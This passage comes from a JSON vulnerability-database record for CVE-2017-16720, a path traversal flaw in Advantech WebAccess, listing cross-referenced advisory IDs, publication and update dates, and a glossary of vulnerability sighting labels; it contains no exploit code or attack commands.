        "id": "146743"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-01-10T00:00:00",
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "date": "2018-09-13T00:00:00",
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "date": "2018-01-05T00:00:00",
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "date": "2018-01-10T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "date": "2018-01-05T00:00:00",
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "date": "2018-01-05T00:00:00",
        "db": "VULMON",
        "id": "CVE-2017-16720"
      },
      {
        "date": "2018-01-04T00:00:00",
        "db": "BID",
        "id": "102424"
      },
      {
        "date": "2018-01-25T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "date": "2018-03-13T02:22:22",
        "db": "PACKETSTORM",
        "id": "146743"
      },
      {
        "date": "2018-01-05T08:29:00.317000",
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "date": "2018-01-08T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-09-13T00:00:00",
        "db": "ZDI",
        "id": "ZDI-18-024"
      },
      {
        "date": "2018-01-05T00:00:00",
        "db": "ZDI",
        "id": "ZDI-18-056"
      },
      {
        "date": "2018-01-10T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "date": "2019-10-09T00:00:00",
        "db": "VULHUB",
        "id": "VHN-107671"
      },
      {
        "date": "2019-10-09T00:00:00",
        "db": "VULMON",
        "id": "CVE-2017-16720"
      },
      {
        "date": "2018-01-04T00:00:00",
        "db": "BID",
        "id": "102424"
      },
      {
        "date": "2018-04-03T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "date": "2019-10-09T23:25:14.487000",
        "db": "NVD",
        "id": "CVE-2017-16720"
      },
      {
        "date": "2021-08-18T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "146743"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ],
    "trust": 0.7
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Advantech WebAccess Path traversal vulnerability",
    "sources": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2018-00670"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-011765"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ],
    "trust": 2.2
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Path traversal",
    "sources": [
      {
        "db": "IVD",
        "id": "e2e0b982-39ab-11e9-bc27-000c29342cb1"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201801-243"
      }
    ],
    "trust": 0.8
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.